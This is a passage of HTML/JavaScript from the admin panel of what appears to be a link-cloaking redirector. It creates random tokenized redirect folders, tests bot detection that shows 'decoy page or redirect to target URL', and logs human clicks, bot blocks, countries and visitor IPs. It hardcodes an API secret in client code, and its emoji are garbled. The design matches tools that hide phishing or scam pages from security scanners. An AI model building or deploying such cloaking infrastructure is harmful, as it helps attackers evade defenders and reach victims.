${err.message}</p> </div> `; }); } // Test create folder function function testCreateFolder() { document.getElementById('test-result').innerHTML = ` <div style="background: #dbeafe; padding: 12px; border-radius: 6px; border-left: 3px solid #3b82f6;"> <p style="margin: 0; font-size: 13px; color: #1e40af;">โณ Creating test folder...</p> </div> `; // Generate random 6-char folder name const chars = 'abcdefghijklmnopqrstuvwxyz0123456789'; let folderName = ''; for (let i = 0; i < 6; i++) { folderName += chars.charAt(Math.floor(Math.random() * chars.length)); } const formData = new FormData(); formData.append('secret', 'K7mP9nQ2rT5vX8zA3bC6dF1gH4jL0wY9xK2mN5pQ8rT1vW4yZ7'); formData.append('folder', folderName); fetch('admin.php?ajax=create_folder', { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { const testToken = 'abc123def456789012345678901234ab'; const testRef = 'TestRef123456789'; const testUtm = 'test12345'; const testUrl = `../r/${data.folder}/?token=${testToken}&ref=${testRef}&utm=${testUtm}`; document.getElementById('test-result').innerHTML = ` <div style="background: #d1fae5; padding: 12px; border-radius: 6px; border-left: 3px solid #10b981;"> <p style="margin: 0 0 12px 0; font-size: 14px; color: #065f46; font-weight: 600;"> โ Test Successful! </p> <p style="margin: 0 0 8px 0; font-size: 13px; color: #047857;"> <strong>Folder Created:</strong> <code style="background: rgba(255,255,255,0.5); padding: 2px 6px; border-radius: 3px;">${data.folder}</code> </p> <p style="margin: 0 0 8px 0; font-size: 13px; color: #047857;"> <strong>Test URL:</strong> </p> <div style="background: rgba(255,255,255,0.5); padding: 8px; border-radius: 4px; margin-bottom: 12px; word-break: break-all; font-family: monospace; font-size: 11px;"> ${testUrl} </div> <a href="${testUrl}" target="_blank" style="display: inline-block; padding: 8px 16px; background: #10b981; color: white; text-decoration: none; border-radius: 6px; font-size: 13px; font-weight: 600;"> ๐ Open Test Link </a> <button onclick="copyToClipboard('${testUrl}')" style="margin-left: 8px; padding: 8px 16px; background: #3b82f6; color: white; border: none; border-radius: 6px; font-size: 13px; cursor: pointer;"> ๐ Copy URL </button> <p style="margin: 12px 0 0 0; font-size: 12px; color: #047857;"> โน๏ธ Click the link to test bot detection. You should see decoy page or redirect to target URL. </p> </div> `; // Refresh stats setTimeout(loadFolderStats, 1000); } else { document.getElementById('test-result').innerHTML = ` <div style="background: #fee2e2; padding: 12px; border-radius: 6px; border-left: 3px solid #dc2626;"> <p style="margin: 0; font-size: 13px; color: #991b1b;">โ Failed: ${data.error}</p> <p style="margin: 8px 0 0 0; font-size: 12px; color: #991b1b;"> Make sure admin.php is accessible and API secret is correct. </p> </div> `; } }) .catch(err => { document.getElementById('test-result').innerHTML = ` <div style="background: #fee2e2; padding: 12px; border-radius: 6px; border-left: 3px solid #dc2626;"> <p style="margin: 0; font-size: 13px; color: #991b1b;">โ Error: ${err.message}</p> <p style="margin: 8px 0 0 0; font-size: 12px; color: #991b1b;"> Check: 1) admin.php uploaded, 2) API secret matches, 3) folder permissions (755) </p> </div> `; }); } // Load stats on page load document.addEventListener('DOMContentLoaded', function() { loadFolderStats(); loadAnalytics(); }); // Analytics functions function loadAnalytics() { document.getElementById('analytics-loading').style.display = 'block'; document.getElementById('analytics-content').innerHTML = ''; fetch('admin.php?ajax=analytics') .then(r => r.json()) .then(data => { document.getElementById('analytics-loading').style.display = 'none'; if (data.success) { const a = data.analytics; let html = ''; // Overview Stats html += ` <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); gap: 12px; margin-bottom: 24px;"> <div style="background: linear-gradient(135deg, #3b82f6 0%, #1e40af 100%); color: white; padding: 16px; border-radius: 8px; text-align: center;"> <div style="font-size: 28px; font-weight: 700;">${a.total_human_clicks}</div> <div style="font-size: 12px; opacity: 0.9;">Human Clicks</div> </div> <div style="background: linear-gradient(135deg, #ef4444 0%, #dc2626 100%); color: white; padding: 16px; border-radius: 8px; text-align: center;"> <div style="font-size: 28px; font-weight: 700;">${a.total_bot_blocks}</div> <div style="font-size: 12px; opacity: 0.9;">Bot Blocks</div> </div> <div style="background: linear-gradient(135deg, #8b5cf6 0%, #6d28d9 100%); color: white; padding: 16px; border-radius: 8px; text-align: center;"> <div style="font-size: 28px; font-weight: 700;">${a.avg_bot_score}</div> <div style="font-size: 12px; opacity: 0.9;">Avg Bot Score</div> </div> </div> `; // Top Countries html += ` <div style="background: #f9fafb; padding: 16px; border-radius: 8px; margin-bottom: 16px;"> <h3 style="margin: 0 0 12px 0; font-size: 15px; color: #374151; font-weight: 600;">๐ Top Countries</h3> <div style="display: grid; gap: 8px;"> `; let countryIndex = 0; for (const [country, count] of Object.entries(a.countries)) { if (countryIndex >= 10) break; const percentage = a.total_human_clicks > 0 ? ((count / a.total_human_clicks) * 100).toFixed(1) : 0; html += ` <div style="display: flex; justify-content: space-between; align-items: center; padding: 8px; background: white; border-radius: 6px; border-left: 3px solid #3b82f6;"> <span style="font-size: 13px; font-weight: 600; color: #374151;">${country}</span> <div style="display: flex; align-items: center; gap: 12px;"> <div style="background: #dbeafe; height: 8px; width: ${Math.max(percentage * 2, 10)}px; border-radius: 4px;"></div> <span style="font-size: 13px; color: #6b7280; min-width: 60px; text-align: right;">${count} (${percentage}%)</span> </div> </div> `; countryIndex++; } html += `</div></div>`; // Clicks by Hour (24-hour chart) html += ` <div style="background: #f9fafb; padding: 16px; border-radius: 8px; margin-bottom: 16px;"> <h3 style="margin: 0 0 12px 0; font-size: 15px; color: #374151; font-weight: 600;">๐ Clicks by Hour (24h)</h3> <div style="display: flex; align-items: flex-end; gap: 4px; height: 150px; padding: 8px; background: white; border-radius: 6px;"> `; const maxHourClicks = Math.max(...a.hours, 1); for (let i = 0; i < 24; i++) { const height = (a.hours[i] / maxHourClicks) * 120; const isTopHour = a.hours[i] === maxHourClicks && a.hours[i] > 0; html += ` <div style="flex: 1; display: flex; flex-direction: column; align-items: center; justify-content: flex-end;"> <div style="background: ${isTopHour ? '#ef4444' : '#3b82f6'}; width: 100%; height: ${height}px; border-radius: 3px 3px 0 0; position: relative; transition: all 0.3s;" title="${i}:00 - ${a.hours[i]} clicks"> </div> <div style="font-size: 10px; color: #6b7280; margin-top: 4px; font-weight: ${isTopHour ? '700' : '400'};">${i}</div> </div> `; } html += `</div></div>`; // Two column layout for remaining stats html += `<div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 16px;">`; // Days of Week html += ` <div style="background: #f9fafb; padding: 16px; border-radius: 8px;"> <h3 style="margin: 0 0 12px 0; font-size: 15px; color: #374151; font-weight: 600;">๐ Clicks by Day</h3> <div style="display: grid; gap: 6px;"> `; const maxDayClicks = Math.max(...Object.values(a.days), 1); for (const [day, count] of Object.entries(a.days)) { const percentage = maxDayClicks > 0 ? (count / maxDayClicks) * 100 : 0; const isTopDay = count === maxDayClicks && count > 0; html += ` <div style="display: flex; justify-content: space-between; align-items: center; padding: 6px 10px; background: white; border-radius: 4px;"> <span style="font-size: 12px; font-weight: ${isTopDay ? '700' : '500'}; color: ${isTopDay ? '#ef4444' : '#374151'}; min-width: 80px;">${day}</span> <div style="flex: 1; margin: 0 12px;"> <div style="background: #e5e7eb; height: 8px; border-radius: 4px; overflow: hidden;"> <div style="background: ${isTopDay ? '#ef4444' : '#3b82f6'}; height: 100%; width: ${percentage}%; border-radius: 4px;"></div> </div> </div> <span style="font-size: 12px; color: #6b7280; min-width: 30px; text-align: right;">${count}</span> </div> `; } html += `</div></div>`; // Browsers html += ` <div style="background: #f9fafb; padding: 16px; border-radius: 8px;"> <h3 style="margin: 0 0 12px 0; font-size: 15px; color: #374151; font-weight: 600;">๐ Browsers</h3> <div style="display: grid; gap: 6px;"> `; for (const [browser, count] of Object.entries(a.browsers)) { const percentage = a.total_human_clicks > 0 ? ((count / a.total_human_clicks) * 100).toFixed(1) : 0; html += ` <div style="display: flex; justify-content: space-between; align-items: center; padding: 6px 10px; background: white; border-radius: 4px;"> <span style="font-size: 12px; font-weight: 500; color: #374151;">${browser}</span> <span style="font-size: 12px; color: #6b7280;">${count} (${percentage}%)</span> </div> `; } html += `</div></div>`; // Operating Systems html += ` <div style="background: #f9fafb; padding: 16px; border-radius: 8px;"> <h3 style="margin: 0 0 12px 0; font-size: 15px; color: #374151; font-weight: 600;">๐ป Operating Systems</h3> <div style="display: grid; gap: 6px;"> `; for (const [os, count] of Object.entries(a.os)) { const percentage = a.total_human_clicks > 0 ? ((count / a.total_human_clicks) * 100).toFixed(1) : 0; html += ` <div style="display: flex; justify-content: space-between; align-items: center; padding: 6px 10px; background: white; border-radius: 4px;"> <span style="font-size: 12px; font-weight: 500; color: #374151;">${os}</span> <span style="font-size: 12px; color: #6b7280;">${count} (${percentage}%)</span> </div> `; } html += `</div></div>`; // Devices html += ` <div style="background: #f9fafb; padding: 16px; border-radius: 8px;"> <h3 style="margin: 0 0 12px 0; font-size: 15px; color: #374151; font-weight: 600;">๐ฑ Devices</h3> <div style="display: grid; gap: 6px;"> `; for (const [device, count] of Object.entries(a.devices)) { const percentage = a.total_human_clicks > 0 ? ((count / a.total_human_clicks) * 100).toFixed(1) : 0; html += ` <div style="display: flex; justify-content: space-between; align-items: center; padding: 6px 10px; background: white; border-radius: 4px;"> <span style="font-size: 12px; font-weight: 500; color: #374151;">${device}</span> <span style="font-size: 12px; color: #6b7280;">${count} (${percentage}%)</span> </div> `; } html += `</div></div>`; // Top IPs html += ` <div style="background: #f9fafb; padding: 16px; border-radius: 8px;"> <h3 style="margin: 0 0 12px 0; font-size: 15px; color: #374151; font-weight: 600;">๐ Top IPs</h3> <div style="display: grid; gap: 6px;"> `; for (const [ip, count] of Object.entries(a.top_ips)) { html += ` <div style="display: flex; justify-content: space-between; align-items: center; padding: 6px 10px; background: white; border-radius: 4px; font-family: monospace;"> <span style="font-size: 11px; color: #374151;">${ip}</span> <span style="font-size: 12px; color: #6b7280; font-weight: 600;">${count}</span> </div> `; } html += `</div></div>`; html += `</div>`; document.getElementById('analytics-content').innerHTML = html; } else { document.getElementById('analytics-content').innerHTML = ` <div style="background: #fee2e2; padding: 12px; border-radius: 6px; border-left: 3px solid #dc2626;"> <p style="margin: 0; font-size: 13px; color: #991b1b;">โ ${data.error}</p> </div> `; } }) .catch(err => { document.getElementById('analytics-loading').style.display = 'none'; document.getElementById('analytics-content').innerHTML = ` <div style="background: #fee2e2; padding: 12px; border-radius: 6px; border-left: 3px solid #dc2626;"> <p style="margin: 0; font-size: 13px; color: #991b1b;">โ Error: ${err.message}</p> </div> `; }); } // Advanced cleanup functions function applyPreset(preset) { clearFilters(); switch(preset) { case 'clicks_above_3': document.getElementById('filter_min_clicks').value = '3'; break; case 'zero_clicks': document.getElementById('filter_zero_clicks').checked = true; break; case 'old_7days': document.getElementById('filter_older_than').value = '7'; break; case 'old_3days': document.getElementById('filter_older_than').value = '3'; break; case 'old_1day': document.getElementById('filter_older_than').value = '1'; break; case 'high_bots': document.getElementById('filter_min_bots').value = '20'; break; } } function clearFilters() { document.getElementById('filter_min_clicks').value = ''; document.getElementById('filter_max_clicks').value = ''; document.getElementById('filter_min_bots').value = ''; document.getElementById('filter_max_bots').value = ''; document.getElementById('filter_older_than').value = ''; document.getElementById('filter_newer_than').value = ''; document.getElementById('filter_zero_clicks').checked = false; document.getElementById('filter_has_clicks').checked = false; document.getElementById('advanced-cleanup-result').innerHTML = ''; } function getFilterData() { const formData = new FormData(); formData.append('action', 'cleanup_advanced'); const minClicks = document.getElementById('filter_min_clicks').value; const maxClicks = document.getElementById('filter_max_clicks').value; const minBots = document.getElementById('filter_min_bots').value; const maxBots = document.getElementById('filter_max_bots').value; const olderThan = document.getElementById('filter_older_than').value; const newerThan = document.getElementById('filter_newer_than').value; const zeroClicks = document.getElementById('filter_zero_clicks').checked; const hasClicks = document.getElementById('filter_has_clicks').checked; if (minClicks) formData.append('min_clicks', minClicks); if (maxClicks) formData.append('max_clicks', maxClicks); if (minBots) formData.append('min_bots', minBots); if (maxBots) formData.append('max_bots', maxBots); if (olderThan) formData.append('older_than_days', olderThan); if (newerThan) formData.append('newer_than_days', newerThan); if (zeroClicks) formData.append('zero_clicks_only', 'true'); if (hasClicks) formData.append('has_clicks_only', 'true'); return formData; } function previewAdvancedCleanup() { document.getElementById('advanced-cleanup-result').innerHTML = ` <div style="background: #dbeafe; padding: 12px; border-radius: 6px; border-left: 3px solid #3b82f6;"> <p style="margin: 0; font-size: 13px; color: #1e40af;">โณ Analyzing folders...</p> </div> `; const formData = getFilterData(); formData.set('action', 'cleanup_advanced'); fetch('admin.php?ajax=cleanup', { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { let resultHtml = ` <div style="background: #fef3c7; padding: 12px; border-radius: 6px; border-left: 3px solid #f59e0b;"> <p style="margin: 0 0 8px 0; font-size: 14px; color: #92400e; font-weight: 600;"> ๐๏ธ Preview: ${data.deleted} folder(s) will be deleted </p> <p style="margin: 0; font-size: 13px; color: #92400e;"> Skipped: ${data.skipped} folder(s) (don't match criteria) </p> `; if (data.deleted_folders && data.deleted_folders.length > 0) { resultHtml += ` <details style="margin-top: 12px;"> <summary style="cursor: pointer; font-size: 13px; color: #92400e; font-weight: 600;">Show folders to be deleted</summary> <div style="margin-top: 8px; padding: 12px; background: rgba(255,255,255,0.7); border-radius: 6px; max-height: 300px; overflow-y: auto;"> <table style="width: 100%; font-size: 12px; border-collapse: collapse;"> <thead> <tr style="background: #f3f4f6; border-bottom: 2px solid #d1d5db;"> <th style="padding: 8px; text-align: left;">Folder</th> <th style="padding: 8px; text-align: center;">Clicks</th> <th style="padding: 8px; text-align: center;">Bots</th> <th style="padding: 8px; text-align: center;">Age (days)</th> </tr> </thead> <tbody> `; data.deleted_folders.forEach(folder => { resultHtml += ` <tr style="border-bottom: 1px solid #e5e7eb;"> <td style="padding: 6px; font-family: monospace;">${folder.folder}</td> <td style="padding: 6px; text-align: center;">${folder.clicks}</td> <td style="padding: 6px; text-align: center;">${folder.bots}</td> <td style="padding: 6px; text-align: center;">${folder.age_days}</td> </tr> `; }); resultHtml += ` </tbody> </table> </div> </details> `; } if (data.errors && data.errors.length > 0) { resultHtml += ` <p style="margin: 8px 0 0 0; font-size: 12px; color: #dc2626;"> โ ๏ธ Errors: ${data.errors.join(', ')} </p> `; } resultHtml += ` <p style="margin: 12px 0 0 0; font-size: 12px; color: #92400e; font-weight: 600;"> โ ๏ธ This is a preview. Click "Execute Delete" to actually delete these folders. </p> </div> `; document.getElementById('advanced-cleanup-result').innerHTML = resultHtml; } else { document.getElementById('advanced-cleanup-result').innerHTML = ` <div style="background: #fee2e2; padding: 12px; border-radius: 6px; border-left: 3px solid #dc2626;"> <p style="margin: 0; font-size: 13px; color: #991b1b;">โ ${data.error}</p> </div> `; } }) .catch(err => { document.getElementById('advanced-cleanup-result').innerHTML = ` <div style="background: #fee2e2; padding: 12px; border-radius: 6px; border-left: 3px solid #dc2626;"> <p style="margin: 0; font-size: 13px; color: #991b1b;">โ Error: ${err.message}</p> </div> `; }); } function executeAdvancedCleanup() { // First preview to show what will be deleted const formData = getFilterData(); fetch('admin.php?ajax=cleanup', { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.deleted === 0) { alert('โ ๏ธ No folders match your criteria. Nothing to delete.'); return; } const confirmMsg = `โ ๏ธ WARNING: This will PERMANENTLY DELETE ${data.deleted} folder(s)!\n\nSkipped: ${data.skipped} folders (don't match criteria)\n\nAre you absolutely sure?`; if (!confirm(confirmMsg)) { return; } // Execute actual deletion document.getElementById('advanced-cleanup-result').innerHTML = ` <div style="background: #dbeafe; padding: 12px; border-radius: 6px; border-left: 3px solid #3b82f6;"> <p style="margin: 0; font-size: 13px; color: #1e40af;">โณ Deleting folders...</p> </div> `; fetch('admin.php?ajax=cleanup', { method: 'POST', body: formData }) .then(r => r.json()) .then(result => { if (result.success) { let resultHtml = ` <div style="background: #d1fae5; padding: 12px; border-radius: 6px; border-left: 3px solid #10b981;"> <p style="margin: 0 0 8px 0; font-size: 14px; color: #065f46; font-weight: 600;"> โ Successfully deleted ${result.deleted} folder(s)! </p> <p style="margin: 0; font-size: 13px; color: #047857;"> Skipped: ${result.skipped} folder(s) </p> `; if (result.deleted_folders && result.deleted_folders.length > 0) { resultHtml += ` <details style="margin-top: 12px;"> <summary style="cursor: pointer; font-size: 13px; color: #047857; font-weight: 600;">Show deleted folders</summary> <div style="margin-top: 8px; padding: 12px; background: rgba(255,255,255,0.5); border-radius: 6px; max-height: 300px; overflow-y: auto;"> <table style="width: 100%; font-size: 12px; border-collapse: collapse;"> <thead> <tr style="background: #f3f4f6; border-bottom: 2px solid #d1d5db;"> <th style="padding: 8px; text-align: left;">Folder</th> <th style="padding: 8px; text-align: center;">Clicks</th> <th style="padding: 8px; text-align: center;">Bots</th> <th style="padding: 8px; text-align: center;">Age (days)</th> </tr> </thead> <tbody> `; result.deleted_folders.forEach(folder => { resultHtml += ` <tr style="border-bottom: 1px solid #e5e7eb;"> <td style="padding: 6px; font-family: monospace;">${folder.folder}</td> <td style="padding: 6px; text-align: center;">${folder.clicks}</td> <td style="padding: 6px; text-align: center;">${folder.bots}</td> <td style="padding: 6px; text-align: center;">${folder.age_days}</td> </tr> `; }); resultHtml += ` </tbody> </table> </div> </details> `; } if (result.errors && result.errors.length > 0) { resultHtml += ` <p style="margin: 8px 0 0 0; font-size: 12px; color: #dc2626;"> โ ๏ธ Errors: ${result.errors.join(', ')} </p> `; } resultHtml += `</div>`; document.getElementById('advanced-cleanup-result').innerHTML = resultHtml; // Refresh stats setTimeout(loadFolderStats, 500); } else { document.getElementById('advanced-cleanup-result').innerHTML = ` <div style="background: #fee2e2; padding: 12px; border-radius: 6px; border-left: 3px solid #dc2626;"> <p style="margin: 0; font-size: 13px; color: #991b1b;">โ ${result.error}</p> </div> `; } }); }) .catch(err => { document.getElementById('advanced-cleanup-result').innerHTML = ` <div style="background: #fee2e2; padding: 12px; border-radius: 6px; border-left: 3px solid #dc2626;"> <p style="margin: 0; font-size: 13px; color: #991b1b;">โ Error: ${err.message}</p> </div> `; }); } </script> </body> </html>
Upload File
Create Folder